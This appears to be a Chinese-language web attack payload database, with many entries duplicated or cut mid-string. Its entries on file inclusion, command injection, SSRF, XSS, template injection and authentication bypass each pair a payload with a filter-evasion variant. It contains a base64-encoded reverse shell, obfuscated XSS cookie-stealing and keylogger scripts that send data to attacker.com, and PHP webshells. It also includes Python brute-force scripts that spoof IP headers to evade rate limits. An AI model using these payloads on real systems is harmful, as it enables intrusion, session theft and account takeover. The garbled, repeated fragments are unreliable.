?file=ftp://attacker.com/shell.txt ?file=php://filter/convert.base64-encode/resource=http://attacker.com/shell.txt
?file=ftp://attacker.com/shell.txt ?file=php://filter/convert.base64-encode/res
lfi-log-poison
通过日志投毒实现LFI到RCE
WAF绕过技术
# 使用Base64编码 <?php eval(base64_decode($_GET['c'])); ?> # 然后传递Base64编码的命令
base64_decode
lfi-wrapper
利用PHP伪协议进行LFI攻击
?file=Php://filter/convert.base64-encode/resource=config.php ?file=DATA://text/plain,<?php system('id'); ?>
php://filter
data://
双重URL编码
双重URL编码绕过
?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php ?file=%70%68%70%3a%2f%2finput
?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php ?file=%70%68
lfi-traversal
LFI目录遍历绕过技术
混合编码
混合编码绕过
..%2f..%c0%af..%2fetc/passwd %2e%2e/%2e%2e/%2e%2e/etc/passwd
空字节截断
空字节截断绕过后缀
../../../etc/passwd%00 ../../../etc/passwd%00.jpg ../../../etc/passwd%00.html
点号截断(Windows)
Windows点号截断 platform: windows
../../../windows/win.ini. ../../../windows/win.ini... ../../../boot.ini……
lfi-php-filter
利用PHP Filter链进行LFI攻击
?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php ?file=PhP://FiLtEr/convert.base64-encode/resource=config.php
?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php ?file=PhP://FiLtEr
URL编码绕过
?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config.php
?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config
lfi-php-input
利用php://input执行PHP代码
# Base64编码 POST: <?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?> # 解码后: system($_GET['c']); # Rot13编码 POST: <?php eval(str_rot13('flfgrz($_TRG['p']);')); ?>
短标签
POST: <?=system($_GET['c']);?> POST: <?=`$_GET[c]`?>
lfi-php-data
利用data://协议执行PHP代码
?file=DATA://TEXT/PLAIN,<?php system('id'); ?> ?file=Data://Text/Plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
URL编码
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%69%64%27%29%3b%20%3f%3e
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%7
MIME类型变换
变换MIME类型
?file=data://text/html,<?php system('id'); ?> ?file=data://application/x-httpd-php,<?php system('id'); ?>
lfi-php-zip
利用zip://协议进行LFI攻击
使用phar://
使用phar://协议
?file=phar://uploads/shell.zip/shell.txt&c=id # phar://也可以访问zip文件
?file=phar://uploads/shell.zip/shell.txt&c=id #
phar://也可以访问zip文件
压缩包嵌套
压缩包嵌套绕过
# 在zip中嵌套zip zip inner.zip shell.txt zip outer.zip inner.zip # 包含 ?file=zip://outer.zip%23inner.zip%23shell.txt&c=id
?file=zip://outer.zip%23inner.zip%23shell.txt&c=id` — 参数与载荷内容 value
lfi-phar
利用Phar反序列化进行RCE
Base64编码
Base64编码绕过
# 将Phar内容Base64编码 # 然后解码触发
伪协议组合
?file=php://filter/convert.base64-encode/resource=phar://exploit.phar # 组合使用
?file=php://filter/convert.base64-encode/resource=phar://exploit.phar #
组合使用
lfi-session
利用Session文件进行LFI攻击
Session ID预测
预测Session ID
# 尝试预测Session ID # 常见模式: md5(ip.time.random) # 暴力枚举Session ID
lfi-proc
利用/proc文件系统进行LFI攻击
使用self
使用self引用 platform: linux
?file=/proc/self/environ ?file=proc/self/environ
rce-command-injection
操作系统命令注入攻击技术
空格绕过
绕过空格过滤 platform: linux
;{cat,/etc/passwd} ;cat$IFS/etc/passwd ;cat</etc/passwd ;cat%09/etc/passwd ;cat${IFS}/etc/passwd
$IFS
%09
{}
关键字绕过
绕过关键字过滤 platform: linux
; c''at /etc/passwd ; c""at /etc/passwd ; c\at /etc/passwd ; /bin/c?a?t /etc/passwd ; /bin/ca[t] /etc/passwd
使用编码绕过 platform: linux
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash ; $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
base64 -d
printf "\x"
rce-php
PHP代码执行漏洞利用技术
回调函数绕过
使用回调函数
array_map('assert',array($_POST[cmd])); call_user_func('assert',$_POST[cmd]); $a='assert';$a($_POST[cmd]);
array_map
assert
call_user_func
$_POST[cmd]
变量函数绕过
$func=$_GET['func'];$cmd=$_GET['cmd'];$func($cmd);
$func=$_GET["func"]
$cmd=$_GET["cmd"]
$func($cmd)
rce-php-filter
利用PHP Filter链构造RCE
编码组合绕过
使用不同编码过滤器组合 绕过关键字检测
rce-cmd-blind
无回显的命令注入利用技术
Base64编码绕过 platform: linux
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash 使用Base64编码绕过
;
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash 使用Base64编码绕过
rce-deserialize
利用反序列化漏洞实现RCE
绕过签名验证
如果存在签名验证 需要获取密钥重新签名
rce-deserialize-php
PHP反序列化漏洞利用技术
属性修饰符绕过
属性修饰符处理
使用public/private/protected属性 注意序列化格式差异: public: s:3:"cmd" private: s:8:"\0Class\0cmd" protected: s:7:"\0*\0cmd"
public: s:3:"cmd"
private: s:8:"\0Class\0cmd"
protected: s:7:"\0*\0cmd"
rce-deserialize-java
Java反序列化漏洞利用技术
二次反序列化
二次反序列化绕过
使用SignedObject或RMI绕过黑名单
SignedObject
RMI
使用反射设置属性绕过限制
反射
setAccessible(true)
rce-file-upload
利用文件上传漏洞获取RCE
修改请求中的Content-Type为允许的类型 image/jpeg, image/png, image/gif
Content-Type
image/jpeg
image/png, image/gif
文件头绕过
在恶意文件前添加图片文件头 GIF89a<?php eval($_POST[cmd]);?>
GIF89a
<?php eval([cmd]);?>
rce-include
利用文件包含漏洞实现RCE
?file=%2fvar%2flog%2fapache2%2faccess.log URL编码路径
rce-log-poison
利用日志投毒实现RCE
使用URL编码或Base64编码绕过关键字过滤
rce-image
利用图片马实现RCE
文件头伪装
使用真实图片文件头 确保图片可正常预览
真实图片文件头
可正常预览
rce-htaccess
利用.htaccess文件实现RCE
换行绕过
换行绕过 platform: linux
使用换行符分隔配置 绕过单行检测
ssrf-basic
服务端请求伪造基础攻击技术
IP格式绕过
使用不同IP格式绕过
http://0177.0.0.1 (八进制) http://2130706433 (十进制) http://0x7f000001 (十六进制) http://127.1 (简写) http://127.0.0.1.nip.io (DNS重绑定)
0177
2130706433
URL解析差异
利用URL解析差异
http://attacker.com#@127.0.0.1/ http://127.0.0.1.attacker.com http://attacker.com\@127.0.0.1/ 利用URL解析差异绕过
127.0.0.1
DNS重绑定
DNS重绑定攻击
使用DNS重绑定服务: http://7f000001.cip.cc (解析为127.0.0.1) http://127.0.0.1.nip.io 第一次解析为外网IP,第二次解析为内网IP
使用DNS重绑定服务: http://7f000001.cip.cc
(解析为127.0.0.1) http://127.0.0.1.nip.io 第一次解析为外网IP,第二次解析为内网IP
ssrf-cloud-aws
利用SSRF访问AWS EC2元数据服务
IP编码变体绕过
通过十进制、十六进制、八进制及IPv6映射等IP地址编码方式绕过169.254.169.254黑名单检测
# 十进制整数: http://2852039166/latest/meta-data/ # 十六进制: http://0xA9FEA9FE/latest/meta-data/ # 八进制: http://0251.0376.0251.0376/latest/meta-data/ # IPv6映射: http://[::ffff:169.254.169.254]/latest/meta-data/ # 混合编码: http://0xA9.0376.169.0xFE/latest/meta-data/
# 十进制整数:
DNS重绑定与重定向链绕过
利用DNS重绑定使域名在验证时解析为安全IP而实际请求时解析为元数据地址,或通过HTTP重定向链和非标准协议绕过
# DNS重绑定(使用rebind服务): http://7f000001.A9FEA9FE.rbndr.us/latest/meta-data/ # 第一次解析到允许的IP,第二次解析到169.254.169.254 # 重定向链: # 在attacker.com设置302跳转到http://169.254.169.254 http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/ # URL schema变体: gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0AHost:%20169.254.169.254%0A%0A
# DNS重绑定(使用rebind服务):
ssrf-cloud-gcp
利用SSRF攻击Google Cloud元数据服务
使用IP地址
绕过域名过滤
http://169.254.169.254/computeMetadata/v1/ 使用内网IP代替域名
ssrf-cloud-azure
利用SSRF攻击Azure元数据服务
绕过Metadata头检查
绕过请求头验证
使用HTTP请求走私或重定向绕过Metadata头检查
ssrf-protocol
利用各种协议进行SSRF攻击
协议大小写绕过
大小写混合绕过
FILE:///etc/passwd File:///etc/passwd Gopher://127.0.0.1:6379/
ssrf-gopher
利用Gopher协议攻击内网服务
gopher://127.0.0.1:6379/_%252a%250d%250a... 双重编码绕过
ssrf-dict
利用Dict协议探测和攻击内网服务
URL编码绕过关键字过滤
dict://127.0.0.1:6379/%73%65%74%20... URL编码命令
ssrf-file
利用File协议读取本地文件
大小写混合
FILE:///etc/passwd File:///etc/passwd file:///ETC/PASSWD
ssrf-bypass
各种绕过SSRF过滤的技术
组合绕过
组合多种绕过技术
http://0x7f.0.0.1 http://0177.0.0.1 http://127.000.000.001 多种格式组合
ssrf-dns-rebinding
利用DNS重绑定绕过SSRF防护
多IP响应
利用多IP响应
DNS响应包含多个A记录 服务器可能选择不同的IP
ssrf-redis
利用SSRF攻击内网Redis服务
Gopher协议构造
使用Gopher协议
使用Gopher协议构造完整的Redis命令序列 可以绕过Dict协议限制
ssrf-mysql
利用SSRF攻击内网MySQL服务
无密码MySQL
利用空密码配置
如果MySQL允许空密码连接 可以更容易构造攻击载荷
空密码连接
简化协议构造
xss-reflected
反射型跨站脚本攻击技术
HTML实体编码
使用HTML实体编码绕过
<img src=x onerror=alert(1)> <img src=x onerror=alert(1)>
a
a
Unicode编码
使用Unicode编码绕过
<script>\u0061lert(1)</script> <img src=x onerror=\u0061lert(1)>
\a
双写绕过关键字删除
<scr<script>ipt>alert(1)</scr</script>ipt> <imimgg src=x onerror=alert(1)>
<scr<script>
ipt>alert(1)
</scr</script>
ipt>
<imimgg src=x onerror=alert(1)>
注释混淆
使用注释混淆
<script>/**/alert(1)/**/</script> <img src=x/**/onerror=alert(1)> <svg on<!--test-->load=alert(1)>
<script>
/**/alert(1)/**/
</script>
<img src=x/**/onerror=alert(1)>
<svg on<!--test-->
load=alert(1)>
xss-stored
存储型跨站脚本攻击技术
SVG标签绕过
使用SVG标签绕过
<svg><script>alert(1)</script></svg> <svg><animate onbegin=alert(1)> <svg><set onbegin=alert(1)>
<svg>
alert(1)
</svg>
<animate onbegin=alert(1)>
<set onbegin=alert(1)>
Math标签绕过
使用MathML标签
<math><maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">click</maction></math>
<math>
<maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">
click
</maction>
</math>
xss-dom
基于DOM的跨站脚本攻击
javascript:协议变体绕过
使用大小写混淆、HTML实体编码、制表符插入等方式绕过javascript:协议过滤
javascript:alert(1) javascript :alert(1) jaVaScRiPt:alert(1) javascript:alert(1) <a href="javascript:alert(1)">click</a>
javascript:alert(1) javascript :alert(1) jaVaScRiPt:alert(1) javascript:alert(1)
<a href="javascript:alert(1)">
</a>
SVG/MathML标签与事件处理器绕过
利用SVG、MathML等非标准HTML标签及冷门事件处理器(ontoggle、onpageshow)绕过标签和事件黑名单
<svg onload=alert(1)> <svg/onload=alert(1)> <math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>"> <details open ontoggle=alert(1)> <body onpageshow=alert(1)> <input onfocus=alert(1) autofocus>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<mtext>
<table>
<mglyph>
<textarea>
<path id="</textarea>
<img onerror=alert(1) src=1>
">
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
xss-csp-bypass
绕过内容安全策略(CSP)的XSS技术
JSONP端点劫持CSP
利用CSP白名单域上的JSONP回调端点或AngularJS库执行任意JavaScript,无需unsafe-inline
# 寻找白名单域上的JSONP端点: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>
# 寻找白名单域上的JSONP端点:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)">
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js">
<div ng-app ng-csp>
{{$eval.constructor("alert(1)")()}}
</div>
base-uri劫持与script nonce泄露
利用CSP未限制base-uri指令劫持脚本加载源,或通过CSS注入/DOM接口泄露script nonce值
# base-uri未限制时: <base href="http://attacker.com/"> # 页面中相对路径的脚本将从attacker.com加载 # nonce泄露利用: # 通过CSS注入窃取nonce: <style>script[nonce^="a"]{background:url(http://attacker.com/?n=a)}</style> # 或通过DOM读取: document.querySelector("script[nonce]").nonce
# base-uri未限制时:
<base href="http://attacker.com/">
` — 注入代码 value
<style>
script[nonce^="a"]{background:url(http://attacker.com/?n=a)}
</style>
xss-mxss
利用浏览器解析差异导致的XSS攻击
嵌套标签绕过
SVG内脚本编码绕过
<svg><script>alert(1)</script></svg> <svg><script>alert(1)</script></svg>
alert(1)
alert(1)
xss-unicode
利用Unicode编码特性绕过过滤
混合多种编码方式
<img src=x onerror=\u0061lert(1)> <img src=x onerror="\u0061lert`1`">
<img src=x onerror=\alert(1)>
<img src=x onerror="\alert
过长UTF-8编码
利用服务器UTF-8解析差异
<img src=x onerror=alert(1)> 使用非最短UTF-8编码形式
<img src=x onerror=alert(1)>
使用非最短UTF-8编码形式
xss-filter-bypass
各种绕过XSS过滤器的技术
Data URI绕过
使用Data URI
<a href="data:text/html,<script>alert(1)</script>">click</a> <iframe src="data:text/html,<script>alert(1)</script>">
<a href="data:text/html,<script>
">click
<iframe src="data:text/html,<script>
SVG动画绕过
SVG动画事件
<svg><animate onbegin=alert(1)> <svg><set onbegin=alert(1)>
xss-encoding
利用各种编码技术绕过XSS过滤
%253Cscript%253Ealert(1)%253C/script%253E 服务器解码两次时使用
UTF-16编码
UTF-16编码绕过
%00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E
xss-polyglot
多环境通用的XSS payload
高级Polyglot
简洁高效Polyglot
-->'"<svg onload=alert(1)>"><script>alert(1)</script>
-->
<script>alert(1)</script>
xss-cookie-theft
利用XSS窃取用户Cookie
混淆绕过
变量混淆绕过
<script>var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")</script>
var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")
xss-keylogger
利用XSS记录用户键盘输入
混淆版本
十六进制混淆
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})</script>
var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})
xss-beef
使用BeEF框架进行XSS利用
混淆Hook URL
Base64混淆Hook注入
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))</script>
eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))
ssti-jinja2
Jinja2/Twig模板注入攻击技术
使用字符串拼接绕过
{{''['__cla'+'ss__']}} {{''|attr('__cla'+'ss__')}} {{''|attr('\x5f\x5fcla\x5f\x5fss')}}
attr()
\x5f
使用request对象
通过request参数传递
{{request|attr(request.args.a)}}&a=__class__ {{request|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__mro__
{{}}
__class__
ssti-freemarker
FreeMarker模板引擎注入攻击技术
<#assign ex="freemarker.template.utility.Ex"+"ecute"?new()>${ex("id")} <#assign cls="java.lang.Ru"+"ntime">${cls?new().exec("id")}
Ex"+"ecute
使用内置函数
直接实例化执行
${"freemarker.template.utility.Execute"?new()("id")} ${"java.lang.Runtime"?new().exec("id")}
ssti-velocity
Velocity模板引擎注入攻击技术
#set($cmd="i"+"d") #set($rt=$Class.forName("java.lang.Ru"+"ntime")) #set($ex=$rt.getRuntime().exec($cmd))
#set($cmd="i"+"d") #set($rt=$Class.forName("java.lang.Ru"+"ntime")) #set($ex=$
使用Unicode
#set($cmd="id") #set($rt=$Class.forName("java.lang.Runtime")) #set($ex=$rt.getRuntime().exec($cmd))
\i\d
ssti-thymeleaf
Thymeleaf模板引擎注入攻击技术
${T(java.lang.Run"+"time).getRuntime().exec("i"+"d")} ${T(java.lang.Class).forName("java.lang.Ru"+"ntime").getMethod("getRuntime").invoke(null)}
使用反射
使用反射绕过
${T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Runtime).getRuntime(),"id")}
使用字节数组绕过
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{105,100}))} # 使用字节数组构造命令
new byte[]{105,100}
ssti-smarty
Smarty模板引擎注入攻击技术
{system("i"+"d")} {system("who"."ami")} {system("ca"."t /etc/passwd")}
{system("i"+"d")} {system("who"."ami")} {system("ca"."t
/etc/passwd")}
变量赋值
使用变量赋值绕过
{assign var="cmd" value="id"} {system($cmd)} {assign var="f" value="sys"."tem"} {$f("id")}
assign
value
使用PHP函数
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {PHP function call}
Smarty_Internal_Write_File::writeFile$SCRIPT_NAME<?php
ssti-mako
Mako模板引擎注入攻击技术
${self.module.cache.util.os.popen("i"+"d").read()} ${self.module.cache.util.os.popen("who"+"ami").read()}
$self.module.cache.util.os.popeni+d.read
使用__import__
使用__import__导入模块
${__import__("os").popen("id").read()} ${__import__("subprocess").check_output(["id"])}
__import__
使用getattr
使用getattr绕过
${getattr(__import__("os"),"popen")("id").read()} ${getattr(getattr(__import__("os"),"popen")("id"),"read")()}
$getattr__import__ospopenid.read
ssti-tornado
Tornado模板引擎注入攻击技术
{% import os %} {{os.popen("i"+"d").read()}} {{os.popen("who"+"ami").read()}}
{{...}}
{{__import__("os").popen("id").read()}} {{__import__("subprocess").check_output(["id"])}}
使用handler
通过handler访问
{{handler.application.settings}} {{handler.get_status()}} {{handler.request.remote_ip}}
{{handler.application.settings}} {{handler.get_status()}}
ssti-django
Django模板引擎注入攻击技术
使用过滤器
使用Django过滤器
{{request|length}} {{settings.SECRET_KEY|default:""}} {{request.META|dictsort:"key"}}
|length
|default
使用for循环
使用for循环遍历
{% for key, value in request.META.items %}{{key}}:{{value}}{% endfor %} {% for k in settings.keys %}{{k}}{% endfor %}
ssti-erb
ERB(Ruby)模板引擎注入攻击技术
<%= `i` + `d` %> <%= system("wh"+"oami") %> <%= ("i"+"d").then { |c| system(c) } %>
<%=
+
%> <%= system("wh"+"oami") %> <%= ("i"+"d").
使用%语法
使用%x语法执行命令
<%= %x(id) %> <%= %x{whoami} %> <%= %x[cat /etc/passwd] %>
%x()
使用Open3
使用Open3模块
<%= require "open3"; Open3.popen3("id") { |i,o,e,t| puts o.read } %>
ssti-pug
Pug/Jade模板引擎注入攻击技术
- var cmd = "i" + "d" #{require("child_process").execSync(cmd).toString()} - var r = "require" #{global[r]("child_process")}
使用global
使用global对象
#{global.process.mainModule.require("child_process").execSync("id").toString()} #{global["req"+"uire"]("child_process")}
mainModule
require
使用this
使用this.constructor
#{this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}
#this.constructor.constructorreturn
auth-bypass
Web应用认证绕过技术
HTTP方法篡改与路径规范化
使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制,利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配
# HTTP方法篡改: GET /admin HTTP/1.1 → 403 POST /admin HTTP/1.1 → 200 PATCH /admin HTTP/1.1 OPTIONS /admin HTTP/1.1 X-HTTP-Method: PUT X-HTTP-Method-Override: DELETE # 路径规范化: /admin → 403 /ADMIN → 200 /admin/ → 200 //admin → 200 /./admin → 200 /admin..;/ → 200 /%61dmin → 200
# HTTP方法篡改: GET /admin HTTP/1.1 → 403 POST /admin HTTP/1.1 → 200 PATCH /admin HTTP/1.1 OPTIONS /admin HTTP/1.1 X-HTTP-Method: PUT X-HTTP-Method-Override:
DELETE
/admin → 403 /ADMIN → 200 /admin/ → 200 //admin → 200 /./admin → 200 /admin..;/ → 200 /%61dmin → 200` — SQL表达式 value
HTTP/2伪头与请求拆分
利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL,通过IP伪造头绕过基于来源的认证
# HTTP/2伪头绕过: :method: GET :path: /admin :authority: target.com X-Original-URL: /admin X-Rewrite-URL: /admin # Header注入: Host: target.com X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-Host: localhost
# HTTP/2伪头绕过:
auth-brute
自动化密码猜测攻击
速率限制绕过(HTTP头伪造)
通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制
# 通过伪造IP头绕过基于IP的速率限制: import requests import random TARGET = "http://target.com/login" headers_rotation = [ "X-Forwarded-For", "X-Real-IP", "X-Originating-IP", "X-Remote-Addr", "X-Client-IP", "X-Remote-IP", "CF-Connecting-IP", "True-Client-IP", "Forwarded" ] def brute_with_header_bypass(username, password): fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"} for header in headers_rotation: h[header] = fake_ip r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10) return r # 每次请求使用不同伪造IP passwords = ["admin", "123456", "password", "admin123", "root"] for pwd in passwords: r = brute_with_header_bypass("admin", pwd) print(f"admin:{pwd} → {r.status_code} ({len(r.text)})")
X-Forwarded-For
random IP
参数污染与大小写绕过
通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测
# 参数污染绕过: # 正常请求(被限制): curl -d "username=admin&password=test" "http://target.com/login" # 参数重复(某些后端取最后一个值): curl -d "username=admin&username=admin&password=test" "http://target.com/login" # JSON格式切换(如果支持): curl -H "Content-Type: application/json" -d '{"username":"admin","password":"test"}' "http://target.com/login" # 大小写混淆: curl -d "Username=admin&Password=test" "http://target.com/login" curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login" # Unicode混淆: curl -d "username=admin&password=test" "http://target.com/login" # 额外参数注入: curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login" # 不同编码: curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037"
# 参数污染绕过:
auth-session
利用会话管理缺陷劫持或伪造用户会话,获取未授权访问权限
Cookie Jar溢出与Cookie Tossing
通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie,或利用子域名权限向父域注入恶意Cookie实现会话覆盖
# Cookie Jar溢出: # 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出: for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`} # 原有session Cookie被挤出后可注入攻击者的session # Cookie Tossing(子域注入): # 从subdomain.target.com设置Cookie: document.cookie="session=ATTACKER_SID;domain=.target.com;path=/" # 该Cookie在主域target.com上也生效
document.cookie
SameSite绕过与跨站会话泄露
利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求
# SameSite=Lax绕过(顶级导航GET请求携带Cookie): <a href="http://target.com/api/transfer?to=attacker&amount=1000">click</a> # Lax模式下GET请求会携带Cookie # SameSite=None利用(需Secure): # 如果设置了SameSite=None但缺少Secure属性: # Chrome会拒绝,但旧浏览器可能接受 # 通过window.open绕过: window.open("http://target.com/api/userinfo") # 新窗口属于顶级导航,Lax模式下携带Cookie
# SameSite=Lax绕过(顶级导航GET请求携带Cookie):
auth-password-reset
绕过密码重置流程
Host头投毒多种变体绕过
Host头投毒的多种WAF绕过变体
# 标准Host头投毒: curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # X-Forwarded-Host(常被Web框架信任): curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # 多Host头: curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # Host中注入端口: curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot" curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot" # 绝对URL覆盖Host: curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot" # X-Original-URL / X-Rewrite-URL: curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot"
# 标准Host头投毒:
Token爆破速率限制绕过
通过IP头轮换和UA随机化绕过重置Token爆破的速率限制
# IP轮换绕过速率限制: import requests import random def try_token(token, proxy=None): headers = { "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}", "User-Agent": random.choice([ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" ]) } r = requests.post("http://target.com/reset-password", data={"token": token, "new_password": "Test123!"}, headers=headers, timeout=10) return r.status_code != 400 # 如果Token是6位数字: for i in range(0, 1000000): token = f"{i:06d}" if try_token(token): print(f"[+] Valid token: {token}") break
# IP轮换绕过速率限制:
auth-oauth
OAuth认证流程漏洞
Redirect URI绕过技巧合集
多种redirect_uri白名单绕过技术
# 白名单绕过技巧: # 1. 子域名绕过(如果白名单用后缀匹配): redirect_uri=http://evil.target.com/callback redirect_uri=http://target.com.evil.com/callback # 2. 路径遍历: redirect_uri=http://target.com/callback/../../../evil-page redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page # 3. 参数注入: redirect_uri=http://target.com/callback?next=http://evil.com redirect_uri=http://target.com/callback%23@evil.com # 4. 端口注入: redirect_uri=http://target.com:8080@evil.com/callback # 5. URL编码绕过: redirect_uri=http://target.com%40evil.com/callback redirect_uri=http://target.com%2540evil.com/callback # 6. localhost/内网绕过: redirect_uri=http://127.0.0.1/callback redirect_uri=http://[::1]/callback # 7. 开放重定向链: redirect_uri=http://target.com/redirect?url=http://evil.com
# 白名单绕过技巧:
auth-saml
SAML断言攻击
SAML XML混淆绕过WAF
XML编码混淆和多种格式变体绕过WAF对SAML的检测 platform: linux
# 1. XML编码混淆: # 使用CDATA段包裹payload: <NameID><![CDATA[admin@target.com]]></NameID> # 2. DTD定义实体: <!DOCTYPE foo [<!ENTITY user "admin@target.com">]> <NameID>&user;</NameID> # 3. XML命名空间混淆: <saml:NameID xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:x="http://evil.com">admin@target.com</saml:NameID> # 4. 编码SAMLResponse的不同方式: # 标准Base64: cat saml.xml | base64 -w0 # 带换行的Base64: cat saml.xml | base64 # URL编码后的Base64: cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))" # 5. Deflate+Base64(某些实现接受): python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())"
<![CDATA[admin@ta` — XML内容 value
<!DOCTYPE foo [<!ENTITY user "admin@target.com">
<saml:NameID xml` — XML内容 value
auth-2fa
绕过双因素认证
响应篡改与直接端点访问
通过拦截并修改2FA验证响应包欺骗前端认为验证通过,或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态
# 响应篡改(Burp拦截): # 原始响应: {"success":false,"message":"Invalid OTP"} # 修改为: {"success":true,"message":"Valid OTP"} # 直接跳过2FA步骤: # 登录后不访问/verify-2fa,直接访问: GET /dashboard HTTP/1.1 Cookie: session=AFTER_LOGIN_SESSION # 修改状态参数: POST /verify-2fa {"otp":"000000","skip":true} /verify-2fa?verified=true
# 响应篡改(Burp拦截):
备份码爆破与验证竞态条件
对2FA备份恢复码进行字典爆破(通常限制不如OTP严格),利用竞态条件并发发送多个OTP验证请求绕过速率限制
# 备份码爆破(通常为8位数字/字母): # 使用Burp Intruder对backup_code参数进行爆破 POST /verify-backup-code {"backup_code":"§12345678§"} # 检查速率限制和锁定策略 # 竞态条件(Race Condition): # 同时发送多个验证请求: for i in $(seq 000000 000100); do curl -s -X POST "http://target.com/verify-2fa" -b "session=SID" -d "otp=$i" & done wait # 多线程并发可能绕过速率限制
# 备份码爆破(通常为8位数字/字母):
auth-captcha
